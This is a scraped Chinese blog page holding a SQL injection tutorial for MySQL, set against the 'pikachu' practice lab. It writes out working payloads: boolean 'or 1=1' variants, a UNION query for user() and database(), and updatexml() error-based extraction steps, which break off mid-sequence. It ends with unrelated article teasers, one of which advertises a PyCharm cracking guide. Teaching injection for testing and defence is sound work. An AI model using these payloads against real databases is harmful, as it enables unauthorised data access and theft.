当前位置: 首页 > news >正文

MySQL数据库的SQL注入漏洞解析

说明:本文仅是用于学习分析自己搭建的SQL漏洞内容和原理,请勿用在非法途径上,违者后果自负,与笔者无关;本文开始前请认真详细学习《‌中华人民共和国网络安全法》‌及其相关法规内容【学法时习之丨网络安全在身边一图了解网络安全法_中央网络安全和信息化委员会办公室】 

一、SQL注入原理

        SQL注入是指客户端对用户输入提交数据内容的合法性没有判断或过滤不严格,导致服务端拼接了用户伪造的SQL语句内容,且服务端将这些伪造的sql语句发给数据库执行(实现欺骗数据库服务器执行非授权的任意操作),数据库返回伪造的sql语句执行结果给服务器端,服务端将结果又返回给客户端。导致数据泄露或数据破坏,甚至导致主机完全被接管的一种安全漏洞。

        SQL注入总结起来就是:没有对用户输入提交数据内容的合法性进行严格的判断或过滤,就直接将这些伪造的数据内容带入到数据库执行,导致数据泄露或损坏,甚至导致完全接管主机的一种安全漏洞。

        SQL注入自 20 世纪 90 年代末至今一直都是研究热点,是流行范围最广、威胁最大的攻击类型之一,因为它可能被用来攻击任何使用基于 SQL 的数据库的 Web 应用或网站,而大多数 Web 应用和网站都使用基于 SQL 的数据库 。

二、SQL注入分类

2.1、布尔型注入

数据类型分类:数字型、字符型、搜索型、XX型、Json类型

2.1.1、数字型

        我们在使用数字型进行注入测试的时候,并不是直接根据页面显示的内容为数字就判断为数字,因为也有可能是字符类型的伪数字,需要我们多种尝试测试(一般页码是数字)。

-- 数字型拼接测试命令1
or 1=1#-- 数字型拼接测试命令2
or 1=1 -- 

说明:【#】【--】是SQL语句中的注释符,主要用于SQL语句作用说明或者将sql语句注释掉,被注释的内容就不会被执行了。测试命令中之所以要在后面再添加上注释符号,主要是用于将注释符后面的内容直接注释掉,不会被数据库执行。

# 数字型示例# 正常SQL语句为:
select * from pikachu.member where id=1;# SQL数字型注入命令1为:
select * from pikachu.member where id=1 or 1=1#;# SQL数字型注入命令2为:
select * from pikachu.member where id=1 or 1=1 -- ;

2.1.2、字符型

        字符型注入是:可以直接先添加【'】进行测试,如果报SQL语法错误,则继续使用拼接命令测试是否可以获取到内容,若可以获取到内容则表示成功。

-- 字符型拼接测试命令1
' or 1=1#-- 字符型拼接测试命令2
' or 1=1 -- 
#字符型示例:-- 正常的SQL语句为:
select * from pikachu.member where username='allen';-- SQL字符型注入命令1为(我们拼接命令中的'用于闭合前面的查询内容,后面的or 1=1是恒为真的条件,#用于注释掉后面的sql语句内容,不让数据库执行):
select * from pikachu.member where username='allen'or 1=1#';-- SQL字符型注入命令1为:
select * from pikachu.member where username='allen'or 1=1 -- ';

2.1.3、搜索型

        搜索型也就是我们经常使用的模糊查询,即SQL语句中使用的【like '%需搜索的内容%'】,即匹配一个或任意多个内容。

# 搜索型拼接测试命令1
需要搜索的值%' or 1=1 #' # 搜索型拼接测试命令2
%需要搜索的值%' or 1=1 #'# 搜索型拼接测试命令3
%' or 1=1 #'

2.1.4、XX型

        xx型是由于SQL语句的拼接方式不同导致的(比如:使用了括号将内容包起来):

# XX型拼接测试命令1:
') or 1=1## XX型拼接测试命令2:
') or 1=1 -- 
# XX型示例:# 正常的SQL语句
select * from pikachu.member where username=('allen');# XX型测试命令:
select * from pikachu.member where username=('allen') or 1=1#;

2.1.5、Json型

# json注入拼接测试命令:
json={"键":"值' or 1=1 #"}

2.2、联合查询注入

        联合查询是指使用带有【union】关键字的注入,适合查询有具体显示列数量的注入。

# 联合拼接测试命令
'union select 需要填充的字段数量#
# 联合查询示例# 正常SQL
select username,email from pikachu.member where username='allen' #联合查询SQL(获取到当前的登录用户名称和数据库名称)
select username,email from pikachu.member where username='allen' union select  user(),database();

2.3、基于错误注入

        报错注入是指客户端界面上没有显示具体内容的位置,但是会显示数据库执行SQL语句的报错信息,可以通过数据库的指定函数制造错误,从而从报错信息来获取数据库的指定数据内容。

注意错误注入的前提条件是:【后台服务器没有屏蔽数据库报错信息,在语法发生错误时会直接输出在前端,并且错误信息里面可能会包含库名、表名等相关信息】

MySQL常用的报错函数获取数据
序号Mysql常用的报错函数说明
1Updatexml()返回替换的 XML 片段
2extractvalue()使用 XPath 表示法从 XML 字符串中提取值
3floor()用来获取整数

MySQL :: MySQL 5.7 Reference Manual :: 12.11 XML Functionsicon-default.png?t=O83Ahttps://dev.mysql.com/doc/refman/5.7/en/xml-functions.html

-- SQL注入的完整流程(适用于SQL的布尔型注入、错误注入、还有insert\update\delete注入)# 1、获取MySql数据库的版本命令:
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) ## 2、获取当前数据库的连接用户命令:
' and updatexml(1,concat(0x7e,(select user()),0x7e),1)## 3、获取当前连接的数据库名称命令:
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)## 4、获取到MySql指定数据库的所有表名称࿱

相关文章:

MySQL数据库的SQL注入漏洞解析

说明:本文仅是用于学习分析自己搭建的SQL漏洞内容和原理,请勿用在非法途径上,违者后果自负,与笔者无关;本文开始前请认真详细学习《‌中华人民共和国网络安全法》‌及其相关法规内容【学法时习之丨网络安全在身边一图了解网络安全法_中央网络安全和信息化委员会办公室】 …...

Redis进阶(七):分布式锁

在分布式系统下,涉及到多个节点访问同一个公共资源的情况,此时需要通过 锁 进行互斥控制:避免出现 线程安全问题。 1.分布式锁的基本实现 超卖问题: 解决: 采用redis实现分布式锁 可用采取:在购票的时候&#xff0…...

Python 中考虑 concurrent.futures 实现真正的并行计算

Python 中考虑 concurrent.futures 实现真正的并行计算 思考,如何将代码所要执行的计算任务划分成多个独立的部分并在各自的核心上面平行地运行。 Python 的全局解释器锁(global interpreter lock,GIL)导致没办法用线程来实现真…...

【C++多线程编程】 线程安全与对象生命周期管理

目录 类的线程安全 实现线程安全 构造函数在多线程中的安全性 析构函数多线程环境的安全 智能指针实现多线程安全 shared_ptr 非完全线程安全 shared_ptr可能导致对象生命周期延长 const引用可以减少传递shared_ptr开销 shared_ptr 智能指针块模块的优点 析构所在线程…...

【系统架构设计师-2024年-上半年】综合知识-答案及详解

更多内容请见: 备考系统架构设计师-核心总结索引 文章目录 【第1题】【第2题】【第3题】【第4题】【第5题】【第6题】【第7题】【第8题】【第9题】【第10题】【第11题】【第12题】【第13题】【第14题】【第15题】【第16~17题】【第18~19题】【第20~21题】【第22题】【第23题】…...

MATLAB 中的对数计算

在 MATLAB 中,计算对数是进行数学分析和科学计算的常见需求。对数运算在数据分析、信号处理和控制系统中都有广泛应用。本篇博客将详细介绍如何在 MATLAB 中进行对数计算,包括自然对数、常用对数以及任意底数的对数。 1. 自然对数(以 e 为底…...

详解 HTTPS 与 TLS证书链校验

一文详解 HTTPS 与 TLS证书链校验_证书链怎么验证-CSDN博客 深入浅出 SSL/CA 证书及其相关证书文件(pem、crt、cer、key、csr) https://zhuanlan.zhihu.com/p/702745054...

新手做短视频素材在哪里找?做短视频素材工具教程网站有哪些?

本文将为你提供一系列新手友好的视频制作资源,包括素材网站和编辑工具,帮助你快速成为短视频领域的新星。让我们从国内知名的蛙学网开始介绍。 蛙学网:新手的视频素材天堂 对于短视频新手而言,蛙学网绝对是一个宝库。该网站提供了…...

【html】编辑器、基础、属性、标题、段落、格式化、 连接、头部、CSS、图像

目录 2.HTML编辑器 3.HTML基础 3.1 HTML标题 3.2 段落 4.HTML元素 4.1 元素语法 4.2 嵌套元素 4.3 HTML空元素 4.4 HTML提示,使用小写标签 5.HTML属性 5.1 属性实例 5.2 HTML 属性常用引用属性值 5.3 使用小写属性 5.4 HTML属性参考手册 6.HTML标题 6.1 HTML水…...

算法【洪水填充】

洪水填充是一种很简单的技巧,设置路径信息进行剪枝和统计,类似感染的过程。路径信息不撤销,来保证每一片的感染过程可以得到区分。看似是暴力递归过程,其实时间复杂度非常好,遍历次数和样本数量的规模一致。 下面通过…...

PostgreSQL的repmgr工具介绍

PostgreSQL的repmgr工具介绍 repmgr(Replication Manager)是一个专为 PostgreSQL 设计的开源工具,用于管理和监控 PostgreSQL 的流复制及实现高可用性。它提供了一组工具和实用程序,简化了 PostgreSQL 复制集群的配置、维护和故障…...

面试官:synchronized的锁升级过程是怎样的?

大家好,我是大明哥,一个专注「死磕 Java」系列创作的硬核程序员。 回答 在 JDK 1.6之前,synchronized 是一个重量级、效率比较低下的锁,但是在JDK 1.6后,JVM 为了提高锁的获取与释放效,,对 synchronized 进…...

Linux中的时间

1、date命令 参数作用参数作用参数作用%Y年xxxx%m月xx%d日xx%H小时(00~23)%M分钟(00~59)%S秒(00~59)%I小时(00~12)%t跳格[Tab键]%j今…...

用Boot写mybatis的增删改查

一、总览 项目结构: 图一 1、JavaBean文件 2、数据库操作 3、Java测试 4、SpringBoot启动类 5、SpringBoot数据库配置 二、配置数据库 在项目资源包中新建名为application.yml的文件,如图一。 建好文件我们就要开始写…...

电脑主机内存

在计算机的组成结构当中内存是非常重要的一部分,它用来存储程序和数据。对于计算机来说有了内存才能保证计算机的正常工作。 内部存储器就是我们所说的内存条,一般是用来即时存储数据。不做数据的长期保留。 外部存储器就是我们常说的固态或者硬盘。固态…...

文件操作与隐写

一、文件类型的识别 1、文件头完好情况: (1)file命令 使用file命令识别:识别出file.doc为jpg类型 (2)winhex 通过winhex工具查看文件头类型,根据文件头部内容去判断文件的类型 eg:JPG类型 &a…...

SQLException: No Suitable Driver Found - 完美解决方法详解

🚨 SQLException: No Suitable Driver Found - 完美解决方法详解 🚨 **🚨 SQLException: No Suitable Driver Found - 完美解决方法详解 🚨****摘要 📝****引言 🎯****正文 📚****1. 问题概述 ❗…...

pycharm破解教程

下载pycharm https://www.jetbrains.com/pycharm/download/other.html 破解网站 https://hardbin.com/ipfs/bafybeih65no5dklpqfe346wyeiak6wzemv5d7z2ya7nssdgwdz4xrmdu6i/ 点击下载破解程序 安装pycharm 自己选择安装路径 安装完成后运行破解程序 等到Done图标出现 选择Ac…...

如何使用 ef core 的 code first(fluent api)模式实现自定义类型转换器?

如何使用 ef core 的 code first 模式实现自定义类型转换器 前言 1. 项目结构2. 实现步骤2.1 定义转换器2.1.1 DateTime 转换器2.1.2 JsonDocument 转换器 2.2 创建实体类并配置数据结构类型2.3 定义 Utility 工具类2.4 配置 DbContext2.4.1 使用 EF Core 配置 DbContext 的两种…...

MapSet之相关概念

系列文章: 1. 先导片--Map&Set之二叉搜索树 2. Map&Set之相关概念 目录 1.搜索 1.1 概念和场景 1.2 模型 2.Map的使用 2.1 关于Map的说明 2.2 关于Map.Entry的说明 2.3 Map的常用方法说明 3.Set的说明 3.1关于Set说明 3.2 常见方法说明 1.搜…...

HTML 语义化

目录 HTML 语义化HTML5 新特性HTML 语义化的好处语义化标签的使用场景最佳实践 HTML 语义化 HTML5 新特性 标准答案&#xff1a; 语义化标签&#xff1a; <header>&#xff1a;页头<nav>&#xff1a;导航<main>&#xff1a;主要内容<article>&#x…...

基于大模型的 UI 自动化系统

基于大模型的 UI 自动化系统 下面是一个完整的 Python 系统,利用大模型实现智能 UI 自动化,结合计算机视觉和自然语言处理技术,实现"看屏操作"的能力。 系统架构设计 #mermaid-svg-2gn2GRvh5WCP2ktF {font-family:"trebuchet ms",verdana,arial,sans-…...

vue3 字体颜色设置的多种方式

在Vue 3中设置字体颜色可以通过多种方式实现&#xff0c;这取决于你是想在组件内部直接设置&#xff0c;还是在CSS/SCSS/LESS等样式文件中定义。以下是几种常见的方法&#xff1a; 1. 内联样式 你可以直接在模板中使用style绑定来设置字体颜色。 <template><div :s…...

Python爬虫(二):爬虫完整流程

爬虫完整流程详解&#xff08;7大核心步骤实战技巧&#xff09; 一、爬虫完整工作流程 以下是爬虫开发的完整流程&#xff0c;我将结合具体技术点和实战经验展开说明&#xff1a; 1. 目标分析与前期准备 网站技术分析&#xff1a; 使用浏览器开发者工具&#xff08;F12&…...

新能源汽车智慧充电桩管理方案:新能源充电桩散热问题及消防安全监管方案

随着新能源汽车的快速普及&#xff0c;充电桩作为核心配套设施&#xff0c;其安全性与可靠性备受关注。然而&#xff0c;在高温、高负荷运行环境下&#xff0c;充电桩的散热问题与消防安全隐患日益凸显&#xff0c;成为制约行业发展的关键瓶颈。 如何通过智慧化管理手段优化散…...

Java 加密常用的各种算法及其选择

在数字化时代&#xff0c;数据安全至关重要&#xff0c;Java 作为广泛应用的编程语言&#xff0c;提供了丰富的加密算法来保障数据的保密性、完整性和真实性。了解这些常用加密算法及其适用场景&#xff0c;有助于开发者在不同的业务需求中做出正确的选择。​ 一、对称加密算法…...

【C语言练习】080. 使用C语言实现简单的数据库操作

080. 使用C语言实现简单的数据库操作 080. 使用C语言实现简单的数据库操作使用原生APIODBC接口第三方库ORM框架文件模拟1. 安装SQLite2. 示例代码:使用SQLite创建数据库、表和插入数据3. 编译和运行4. 示例运行输出:5. 注意事项6. 总结080. 使用C语言实现简单的数据库操作 在…...

Aspose.PDF 限制绕过方案:Java 字节码技术实战分享(仅供学习)

Aspose.PDF 限制绕过方案&#xff1a;Java 字节码技术实战分享&#xff08;仅供学习&#xff09; 一、Aspose.PDF 简介二、说明&#xff08;⚠️仅供学习与研究使用&#xff09;三、技术流程总览四、准备工作1. 下载 Jar 包2. Maven 项目依赖配置 五、字节码修改实现代码&#…...

深入浅出深度学习基础:从感知机到全连接神经网络的核心原理与应用

文章目录 前言一、感知机 (Perceptron)1.1 基础介绍1.1.1 感知机是什么&#xff1f;1.1.2 感知机的工作原理 1.2 感知机的简单应用&#xff1a;基本逻辑门1.2.1 逻辑与 (Logic AND)1.2.2 逻辑或 (Logic OR)1.2.3 逻辑与非 (Logic NAND) 1.3 感知机的实现1.3.1 简单实现 (基于阈…...

群晖NAS如何在虚拟机创建飞牛NAS

套件中心下载安装Virtual Machine Manager 创建虚拟机 配置虚拟机 飞牛官网下载 https://iso.liveupdate.fnnas.com/x86_64/trim/fnos-0.9.2-863.iso 群晖NAS如何在虚拟机创建飞牛NAS - 个人信息分享...